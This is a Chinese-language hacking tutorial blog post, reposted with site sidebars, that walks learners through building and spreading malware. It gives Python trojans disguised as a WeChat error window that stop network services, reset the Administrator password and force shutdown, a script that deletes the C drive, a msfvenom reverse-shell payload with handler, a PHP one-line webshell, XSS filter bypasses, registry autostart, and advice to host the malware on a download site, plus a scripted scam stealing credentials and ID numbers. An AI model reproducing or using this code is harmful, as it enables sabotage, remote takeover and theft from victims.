主頁 > 後端開發 > 讓你成為白帽子黑客(中級篇)

讓你成為白帽子黑客(中級篇)

2020-10-19 07:45:40 後端開發


相關說明

本章所講述的所有黑客技術,均不得用于非法目的,
如果你覺得文章含有侵權部分,可以聯系CSDN私聊,我會適當修改,
未經允許,不得轉載,如需轉載,請CSDN私聊,


引子

從中級篇之后,我們的開場就不一樣啦!
換了臺新電腦,很多軟體都換了,所以我就干脆從新改一下開場白,

虛擬環境——VMware

之前的VirtualBox不用了,現在我用VMware,
安裝VMware Workstation 15 Pro:
在這里插入圖片描述
下載安裝,打開后,你應該看到是這個樣子:
在這里插入圖片描述

創建攻擊物件和攻擊機

我們需要創建幾臺計算機:
Kali(攻擊機) Windows10(用戶機) Windows7(用戶機)
暫時創建這么幾個,XP,Server等也可以安裝,之后如果用到了的話我會講,
在這里插入圖片描述
在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
點擊完成,然后匯入iso檔案,開機即可:
在這里插入圖片描述
Windows10是微軟一個優秀的作業系統,據說也是微軟Windows系列的最后一個發行版,
Windows10比之前任何一款作業系統的綜合防御能力都要強,所以我們也要學習怎么入侵Windows10,
Windows 7作業系統也是一個比較重要的系統,XP之后,隨著UAC等防御機制的發布,系統也不弱,所以,我們也要學習攻擊,

Win7:
在這里插入圖片描述
Kali(這里我換成舊版Kali):
在這里插入圖片描述
Kali真的非常爽,我們用Kali,隨隨便便能攻擊一臺計算機,隨隨便便能攻擊一個網站,
當然,一切都是在虛擬環境下的,

Python安裝

這個我就不說了,之前文章都有,
安裝完成之后,輸入代碼來測驗:

print("Hello World")

輸出如下:

Hello World

這代表你的IDE可用,

測驗虛擬機的網路配接器

如果我們要做內網滲透,我們要將攻擊機和用戶電腦放在一個局域網內,如果我們做Web相關的滲透,我們則需要把攻擊機設為NAT模式,
在這里插入圖片描述
VMnet0是可以上網的,也可以做一些滲透,
之后我們需要根據實驗需求,修改虛擬機的網路配接器,就在設定里面設定,

查看Windows和Linux的IP地址

很多人都不會調IP,那么這里對Windows和Linux的IP地址查詢做一下講解,
Windows系統是在cmd里面調取的,
打開Windows:
在這里插入圖片描述
按下Windows + R,輸入cmd:
在這里插入圖片描述
然后在黑框中輸入ipconfig
在這里插入圖片描述
其中的IPv4地址就是我們的ip地址,
打開Kali Linux的終端:
在這里插入圖片描述
輸入ifconfig
在這里插入圖片描述
其中的eth0中的inet就是你的IP地址了,
調取IP地址是基本知識中的基本知識,一學就會,

1.制作斷網木馬

如果用戶運行木馬程式,就會斷網,就這么簡單,和原理一樣簡單,
在CMD中,斷網使用的指令是:

NET STOP SERVICE

使用Python制作木馬程式,可以用這個代碼:

import os
os.system("net stop service")

斷網木馬,通常只是一個惡作劇木馬,

2.制作彈窗木馬

為了提高彈窗木馬的真實性,我們將其偽裝成一個程式,代碼附上:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

這是一個正常的程式,對電腦沒有傷害,然后我們結合一個斷網木馬,

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

然后,我們彈窗,

import os
import tkinter.messagebox
import tkinter
os.system("net stop service")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()
tkinter.messagebox.showerror("錯誤", "Windows防火墻意外關閉")
tkinter.messagebox.showerror("錯誤", "Windows木馬查殺工具意外關閉")
tkinter.messagebox.showerror("廣告", "Windows駐西安皮革廠倒閉了!")
……………………………………

3.修改密碼病毒

這個病毒可以修改電腦密碼!
首先,我們撰寫偽裝程式:

import tkinter.messagebox
import tkinter
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

然后,我們通過CMD指令修改Administrator密碼:

import tkinter.messagebox
import tkinter
import os
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

修改好了密碼,然后,我們斷網:

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()

病毒正在提升威力!但是如果有人一直不關機怎么辦?沒關系!

制作強制關機腳本

立刻關機的CMD命令:

shutdown -s -t 0

如果設定的是一分鐘后關機,那么:

shutdown -s -t 60

OK,通過這段代碼,我們結合上面的代碼,來開始制作!

import tkinter.messagebox
import tkinter
import os
os.system("net stop service")
os.system("NET USER Administrator 123456")
root = tkinter.Tk()
root.title("WeChat")
root.geometry("300x300")
tkinter.messagebox.showerror("錯誤", "程式打開錯誤!")
root.destroy()
os.system("shutdown -s -t 0")

我們通過一段段的學習,現在已經可以制作木馬病毒了!

正章

上一篇中,我們學習了通過Windows的高危漏洞永恒之藍入侵個人PC電腦,我們使用了msfconsole這個東西來攻擊,
本章,我們會深入學習msfconsole以及Python編程,向白帽子黑客更進一步,
本章節還會學習很多的術語與操作,希望能為你帶來幫助,

常見Web漏洞

一.SQL注入漏洞

這么來說吧,這個網站只要使用了資料庫,一般都有被SQL注入的風險,這要看網站是怎么防護的,
SQL注入漏洞原理就是通過輸入框輸入的內容和SQL陳述句來拼接而成,

<?php
...
$input = $_GET['input'];
$get = "SELECT username From users WHERE username = '$input'";
...

這個就是典型的PHP注入漏洞代碼,
SQL注入漏洞一直是網路安全漏洞中的頭等大敵,每個企業都在盡力避免,SQL注入漏洞最高的危險就是資料庫內容被獲取,個人隱私泄露,試想一下,如果一個上萬人注冊的網站被SQL注入,那么,這個網站不得賠死,

在網站上尋找SQL注入點實作注入

一般只要有輸入框和SQL陳述句是拼接的,都是SQL注入可以嘗試的注入點,那么一般的網站,都是非常大而且雜的,所以我們要嘗試在一個復雜的網站上試圖尋找注入點,
去百度上尋找一個網站去練手吧!但是千萬不要去攻擊,

SQL注入防御

其實,一個網站必須使用資料庫,只要使用了資料庫,就都有被攻擊的風險,具體的防護方法有很多,其中最為常見的就是過濾,
過濾就是將用戶輸入的危險字符通過某種轉義方式改為不危險字符,其中危險字符就包括:

select, delete, insert, update, or, where......

等等,但是之過濾這些字符還不夠,攻擊者可以通過大小寫混寫來繞過防護,所以,我們需要通過正則運算式來防護,

白名單和黑名單

設定黑白名單也是有效的防護方法,通過檢測用戶的例外行為,并拒絕該IP地址向網站服務器發送請求,
例如一個網站,用戶192.168.255.255向網站服務器發送請求,然后網站正常回應,但是用戶192.168.255.255在輸入框中連續輸入危險字符超過一定次數,那么下次192.168.255.255再向網站發送請求的時候,黑名單已經記錄了下來,然后請求被拒絕,
函式大體如下:

def defence():
    global i
    #過濾函式
    i = 0#計數器
    ......
    i += 1;
if i > 5:
    #封禁操作    

自動化軟體

目前作者知道的主要是SQLmap以及啊D工具,這兩個工具可以實作SQL注入,

二.XSS跨站腳本攻擊漏洞

曾經一度被OWASP列為最危險漏洞,XSS,跨站腳本攻擊,本質上也是一種注入攻擊,最容易受到XSS漏洞影響的大多數是一些實時通訊功能,例如留言板,在線聊天室,
為什么XSS漏洞如此受重視?因為它的危害程度不亞于SQL注入攻擊,如果一個網站存在XSS漏洞,那么攻擊者可以執行任意的Js代碼,

$input = $_GET['input'];
echo "$input";

最常見的測驗指令,就是<script>alert(1)</script>,我們現在來看一下攻擊案例,通過這個攻擊案例來看一下XSS,

攻擊案例

自己花了一點時間搭建了一個模擬某科技公司的官網,其中黑客容易攻擊的地方主要有兩處,分別是:
1.在線留言板:
在這里插入圖片描述
這個點非常可能被攻擊,重點考慮,
2.全站搜索
在這里插入圖片描述
除了剛剛的留言板,這個是唯一的互動式輸入框,雖說不打算考慮,但是我開發時沒有任何過濾,所以也有注入風險,
留言板功能,我為了模擬真正的攻擊,請了一個朋友幫我做了一個過濾,然后讓我攻擊,簡單的嘗試了一下,簡單的尖括號,script,iframe,click等都過濾了,但是,好像唯獨沒有過濾img字符,這位老兄HTML沒學好啊!嘗試攻擊,果然成功,
在這里插入圖片描述
我問了一下他,還看了一下過濾代碼,發現他是用的正則運算式,如果不用,那么以下的陳述句都是可以用的:

<scri<script>pt>alert(1)</script>
<scrIpt>alert(1)</script>
<script>alert(1)</SCript>
......

還有就是遞回,當然,這里黑白名單也是可以用的,
其實,XSS漏洞的危害,取決于黑客的Js代碼,如果一個不會編程的黑客,就算發現了XSS漏洞,那么最多彈框,

關于HTML轉義

這就很難繞過了,
不過XSS Aditor是有辦法繞過的,本人現在還在學習,

相關工具

我目前并沒有發現什么有用的黑客工具可以用來XSS,所以手工注入的能力很重要,

三.暴力破解漏洞

相信大家應該都知道列舉(又稱窮舉),那就是通過一個個試,最終得到結果,機器最適合干這個事了,所以,暴力破解漏洞由此誕生,
通過Python可以實作暴力破解,主要使用的是request模塊,這個模塊可以處理網站,當然也可以用來爬蟲,
一般來說,暴力破解漏洞存在于登入界面或者密碼界面,最簡單的例子就是管理員后臺,有登入密碼,以及常見的如“您的檔案已加密,請輸入密碼”或者“請輸入密碼查看”等,人們總是認為這種方式能夠防止資料被偷竊,但是,有暴力破解,
在這里插入圖片描述
幾乎所有網站都是用上圖的登入方式,

弱密碼

什么是弱密碼呢?123456,888888,qwerty等都是弱密碼,這些弱密碼大多數都在黑客的密碼字典中,所以,弱密碼是最容易破解的,一般黑客的弱密碼字典大多數在10-20MB,估算一下,大概有幾百萬個密碼,
弱密碼非常危險,所以,現在密碼一定不要設定成弱密碼,

暴力破解防護方法

行為驗證碼

行為驗證碼需要用戶通過驗證碼,例如滑動圖示,辨別圖片等內容,有些大型的社交平臺,如微博,有時候甚至需要兩次行為驗證,這對黑客暴力破解加大了難度,不過驗證碼也不一定安全,這就要看開發者怎么去開發了,有沒有驗證碼失效制度,
我在互聯網上找到了一個網站,所有的登入注冊都需要驗證,
注冊(雙重認證:行為認證和短信驗證碼):
在這里插入圖片描述
賬密登入:
在這里插入圖片描述
短信登入(又是雙重認證);
在這里插入圖片描述

token放爆破機制

所謂的token,其實就是一個驗證碼,只不過驗證碼用戶看不到,而是通過兩端的token驗證碼進行比對,確認無誤才能通過,
token放爆破機制其實也有繞過方式,同樣是開發者的失效機制有沒有開發好,

自動化工具

暴力破解就很多了,你們大可自己開發或尋找,

四.檔案上傳漏洞

檔案上傳是現在很多網站都具備的功能,例如說頭像上傳,資料上傳等,那么,如果一個網站具有上傳檔案的功能,攻擊者是不是就可以上傳木馬呢?
事實證明,如果網站對檔案上傳的后綴名,內容沒有做任何審核,那么木馬是可以上傳成功的,
最簡單的木馬,就是只通過一句PHP代碼來實作,簡稱PHP一句話木馬,

<?php eval(@$_POST['a']); ?>

最后通過中國菜刀拿到整個網站的框架,

怎么過濾?

開發者通過對檔案上傳內容進行檔案后綴名檢測,比如作者之前有做過一個檔案上傳漏洞檢測,就可以通過對特定的后綴名進行勘察,
例如一個功能,是上傳頭像,那么用戶肯定不會上傳一個php檔案上去,所以,我們就可以規定這類檔案可以上傳:

.jpg  .png  .gif  .bmp 

但是,這太天真了,對于黑客來說,改個后綴名豈不是簡簡單單?
于是,新的防護產品誕生了!

安全狗

安全狗可以通過相關技術,挖掘檔案內容,準確識別PHP一句話木馬,網路木馬等,但是,PHP有辦法繞過一句話,

CSRF漏洞

這個漏洞的條件比較苛刻,CSRF其實是通過一個惡意鏈接,有待用戶點擊,然后修改用戶內容,
CSRF通常出現在忘記密碼,攻擊者構造好鏈接之后,就可以修改相關資訊,這里不多做介紹,

Web小結

了解了網站的常見漏洞之后,我們就可以找網站練手了,當然,如果我們挖到了漏洞,可以提交給SRC,這樣還能掙錢!

病毒

病毒,就是黑客撰寫的計算機程式,通過這個程式,可以對用戶造成損失等,
病毒會通過Web等方式傳播,并且通常擁有自我復制能力,所以我們形象的成惡意程式為病毒,
木馬本質上也是病毒,兩者沒有太大的差異,

  • 破壞性病毒
    這種病毒的危害就是破壞你的檔案,他可能會洗掉你的所有檔案,或洗掉制定檔案,也可能例如無限打開瀏覽器,無限彈窗等,這對電腦也是有很大損害的,
    其實有些電腦,會出現一直藍屏,亦或者打不開系統等,人們往往認為這是電腦硬體出了問題,其實,也有可能是一些病毒造成的,
  • 遠控病毒
    這種病毒可以遠程控制你的電腦,你甚至都可能察覺不到你的電腦正在被監控,他們往往可以遠程下載檔案帶你的電腦上面,或者遠程修改,打開你的檔案,做鍵盤記錄等,
  • 勒索病毒
    這種病毒在運行了之后就會加密你的所有檔案,之后就要求你支付相應贖金來解密檔案,最近爆發的WannaCry病毒就是勒索病毒,之后我們也會學習分析這些病毒,
  • 其他病毒
    還有其他例如密碼盜取,惡意差評病毒等,

破壞性病毒

import webbrowser as web
web.open("www.baidu.com")

這段代碼就可以打開百度首頁,那么,我們把它改進一下,就變成了一個病毒:

import webbrowser as web
while True:
	web.open("www.baidu.com")

洗掉C盤也是一個方法,他的代碼實作如下:

import subprocess as sub
a = sub.call("del C:\ ", shell=True)

破壞一個系統就是那么簡單,一個簡單的py程式就可能對系統造成破壞,
破壞性病毒的撰寫比較簡單,我們制作的簡單的病毒程式就會造成嚴重的損失,

msf遠控木馬

在終端輸入:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f exe > virus.exe

生成木馬病毒之后,然后生成控制端:

msfconsole
use exploit/multi/handler
set lhost 192.168.0.106
set lport 4444
exploit

最后,你會拿到meterpreter會話

meterpreter>

當你看到這個字符的時候,那就說明,你成功了,通過meterpreter可以做很多事,例如檔案上傳與下載,桌面監控,遠程攝像頭拍攝等等,

這類就是遠控木馬,這種木馬的危害是遠遠大于破壞性木馬的,

勒索病毒

勒索病毒的撰寫有一些難度,我們在這一篇中暫時不會接觸,

傳播

病毒做好了,我們要想盡一切方法來傳播病毒,
通過網站傳播是一個非常好的方法,我們可以自己制作一個網站,
如果你沒有自己開發網站的能力,沒關系,你可以使用工具——凡客建站,
這里我們不說了,我們通過撰寫代碼來制作網站,


撰寫網站可以學習PHP,JSP,ASP,HTML等等


寫一個網站,可以下載我們的惡意軟體:
在這里插入圖片描述
其實,我們也可以通過郵件或者廣告等方式來傳播我們的病毒,但是現在,我們暫時不學習,

拓展篇

大家在學習的程序中出現的問題,都可以通過百度自行解決,或者私信我,
如果你目前還無法理解這些知識,那么,請一定檢查這些原因:

  • 跳著看的,之前的東西沒有仔細看
  • 對于Python等編程不夠了解
  • 對于計算機的基本了解太低
    好了,讓我們開始學習吧!

病毒的常見特征實作

  • 自我繁殖
    自我繁殖技術是一個比較高超的學問,本章中我們只是介紹一些最簡單的繁殖技術——復制,
    如果需要通過代碼實作,那就是這樣的,
import os
os.system("copy 路徑 路徑")
  • 注冊表實作開機自啟動
    注冊表的開機自啟動就是通過編碼,將一個程式寫入注冊表,從而實作開機自啟動,
    這里我們通過C++實作,這也是一種比較重要的語言,而且Windows系統也是基于C++開發的,
    C++HelloWorld實體:
#include <iostream>
using namespace std;
int main(){
	cout << "Hello World!" << endl;
	return 0;
}

那么關于WIndows的函式,我們通過這個庫:

#include <windows.h>

好的,現在我們來了解幾個函式:

RegOpenKeyEx:打開一個指定的注冊表鍵,
RegSetValueEx:在注冊表項下設定指定值的資料和型別,回傳零表示成功,回傳其他任何值都代表一個錯誤代碼,

參考鏈接:
https://baike.baidu.com/item/RegOpenKeyEx/3716633
https://baike.baidu.com/item/RegSetValueEx/9735249
這樣,我們就能大致實作自啟動,
還有以下病毒的基本技術:

  • 資源釋放
  • 自我壓縮與解壓縮
  • 提權技術
  • 自我隱藏

推薦大家學習《Windows黑客編程技術詳解》,這篇文章具體的講解了病毒在進入了用戶電腦之后的一系列行為和編碼實作,這里筆者就不多多解釋了,

病毒小結

到這里,有關病毒的一部分就到此結束了,
其實病毒的廣闊世界還有待我們探索,我們還沒有完全了解病毒,
中國的灰鴿子,病毒,大白鯊等木馬,告別了國外木馬一統天下的局勢,我們也可以學習怎么去使用它,
打開Windows10虛擬機,在虛擬機內安裝小風黑客工具包,大家可以探索里面的工具,
在這里插入圖片描述
大家也可以下載WannaCry,熊貓燒香等木馬,自行研究,之后,在高級篇內,我會教授大家怎么反編譯和研究這些木馬病毒,

插曲:社會工程學

隨著反黑客技術的越來越強,常規的黑客攻擊手段越來越難實作,所以黑客大致就分為了兩類:繼續研究破解或繞過反病毒軟體等,但是也有不少黑客選擇了社工黑客,
社會工程學就是借助人性,主要表現在對于錢財的貪婪,對于社會的不滿等,黑客通常會通過社會工程學,去打聽到一些訊息,
所以:人才是最大的安全漏洞

社會工程學使得黑客就像是一個特工一樣,潛入秘密大樓,從而打聽訊息,
欺騙,就是社會工程學的本質,


(前期:用戶大白在某網站上注冊了一個賬號,然后有一天發現網站的提現功能失效了,于是就找到了偽裝成作業人員的黑客)
大白:搞啥玩兒,這錢怎么提不出來了?
黑客:您先別急,我來看看,
(過了5min)
黑客:你好,你的賬號好像出了點問題,
大白:啥子問題?
黑客:emmm,似乎被黑客入侵了,前幾天也是有一個這樣的用戶,
大白(傻眼了):黑客入侵?那咋辦呢?我可存了10W+元呢!
黑客:您先告訴我賬號密碼,然后我幫你看看是什么問題,
大白:用戶名:DB19990512 密碼是那么qweqwe
(過了3min)
黑客:手機已經被攻擊,你看看能不能把身份證資訊告訴我,我幫您看看聯合實名認證能不能幫您解決
大白:31020419900512375X
黑客:不好意思,你的手機已經被黑客掌控,
大白:玩了,我的錢啊!
黑客:沒關系,我可以幫你,
大白:你拿什么幫我?
黑客:你先付我5000塊錢,然后我幫您申請一個“防黑加固”,雖然錢取不出來了,但是之后錢還是可以正常存的,
大白:我的錢都沒有了,存個****,我看你***就是玩我,
黑客:已經被黑客偷走的錢是要不回來的,所以你現在只能這樣了!
大白:好吧,
(黑客賬號多了5000元)
黑客:好了,下次小心點,
大白:OK


通過上面的故事,黑客成功拿到了大白的身份證號碼,以及賬號密碼的資訊,還多掙了5000塊,這就是社會工程學的威力,

結束

好了,終于結束了,其實發現,做一個黑客還挺有意思的,
本人堅決反對學習者通過黑客技術違反法律,任何違反法律的事,都會受到法律的制裁,
如果你覺得我的文章對你有用,請在評論區留下你的鼓勵吧!哪怕——那只是一個假的祝福,你們的鼓勵,是我不斷出各類教程的不斷動力,真的,
如果不想,那就算了,希望你能在未來,勢如破竹,

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/179677.html

標籤:java

上一篇:攻防世界 web高手進階區 9分題 smarty

下一篇:35+了,發奮讀書改變命運,還有機會嗎?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • Rust中的智能指標:Box<T> Rc<T> Arc<T> Cell<T> RefCell<T> Weak

    Rust中的智能指標是什么 智能指標(smart pointers)是一類資料結構,是擁有資料所有權和額外功能的指標。是指標的進一步發展 指標(pointer)是一個包含記憶體地址的變數的通用概念。這個地址參考,或 ” 指向”(points at)一些其 他資料 。參考以 & 符號為標志并借用了他們所 ......

    uj5u.com 2023-04-20 07:24:10 more
  • Java的值傳遞和參考傳遞

    值傳遞不會改變本身,參考傳遞(如果傳遞的值需要實體化到堆里)如果發生修改了會改變本身。 1.基本資料型別都是值傳遞 package com.example.basic; public class Test { public static void main(String[] args) { int ......

    uj5u.com 2023-04-20 07:24:04 more
  • [2]SpinalHDL教程——Scala簡單入門

    第一個 Scala 程式 shell里面輸入 $ scala scala> 1 + 1 res0: Int = 2 scala> println("Hello World!") Hello World! 檔案形式 object HelloWorld { /* 這是我的第一個 Scala 程式 * 以 ......

    uj5u.com 2023-04-20 07:23:58 more
  • 理解函式指標和回呼函式

    理解 函式指標 指向函式的指標。比如: 理解函式指標的偽代碼 void (*p)(int type, char *data); // 定義一個函式指標p void func(int type, char *data); // 宣告一個函式func p = func; // 將指標p指向函式func ......

    uj5u.com 2023-04-20 07:23:52 more
  • Django筆記二十五之資料庫函式之日期函式

    本文首發于公眾號:Hunter后端 原文鏈接:Django筆記二十五之資料庫函式之日期函式 日期函式主要介紹兩個大類,Extract() 和 Trunc() Extract() 函式作用是提取日期,比如我們可以提取一個日期欄位的年份,月份,日等資料 Trunc() 的作用則是截取,比如 2022-0 ......

    uj5u.com 2023-04-20 07:23:45 more
  • 一天吃透JVM面試八股文

    什么是JVM? JVM,全稱Java Virtual Machine(Java虛擬機),是通過在實際的計算機上仿真模擬各種計算機功能來實作的。由一套位元組碼指令集、一組暫存器、一個堆疊、一個垃圾回收堆和一個存盤方法域等組成。JVM屏蔽了與作業系統平臺相關的資訊,使得Java程式只需要生成在Java虛擬機 ......

    uj5u.com 2023-04-20 07:23:31 more
  • 使用Java接入小程式訂閱訊息!

    更新完微信服務號的模板訊息之后,我又趕緊把微信小程式的訂閱訊息給實作了!之前我一直以為微信小程式也是要企業才能申請,沒想到小程式個人就能申請。 訊息推送平臺🔥推送下發【郵件】【短信】【微信服務號】【微信小程式】【企業微信】【釘釘】等訊息型別。 https://gitee.com/zhongfuch ......

    uj5u.com 2023-04-20 07:22:59 more
  • java -- 緩沖流、轉換流、序列化流

    緩沖流 緩沖流, 也叫高效流, 按照資料型別分類: 位元組緩沖流:BufferedInputStream,BufferedOutputStream 字符緩沖流:BufferedReader,BufferedWriter 緩沖流的基本原理,是在創建流物件時,會創建一個內置的默認大小的緩沖區陣列,通過緩沖 ......

    uj5u.com 2023-04-20 07:22:49 more
  • Java-SpringBoot-Range請求頭設定實作視頻分段傳輸

    老實說,人太懶了,現在基本都不喜歡寫筆記了,但是網上有關Range請求頭的文章都太水了 下面是抄的一段StackOverflow的代碼...自己大修改過的,寫的注釋挺全的,應該直接看得懂,就不解釋了 寫的不好...只是希望能給視頻網站開發的新手一點點幫助吧. 業務場景:視頻分段傳輸、視頻多段傳輸(理 ......

    uj5u.com 2023-04-20 07:22:42 more
  • Windows 10開發教程_編程入門自學教程_菜鳥教程-免費教程分享

    教程簡介 Windows 10開發入門教程 - 從簡單的步驟了解Windows 10開發,從基本到高級概念,包括簡介,UWP,第一個應用程式,商店,XAML控制元件,資料系結,XAML性能,自適應設計,自適應UI,自適應代碼,檔案管理,SQLite資料庫,應用程式到應用程式通信,應用程式本地化,應用程式 ......

    uj5u.com 2023-04-20 07:22:35 more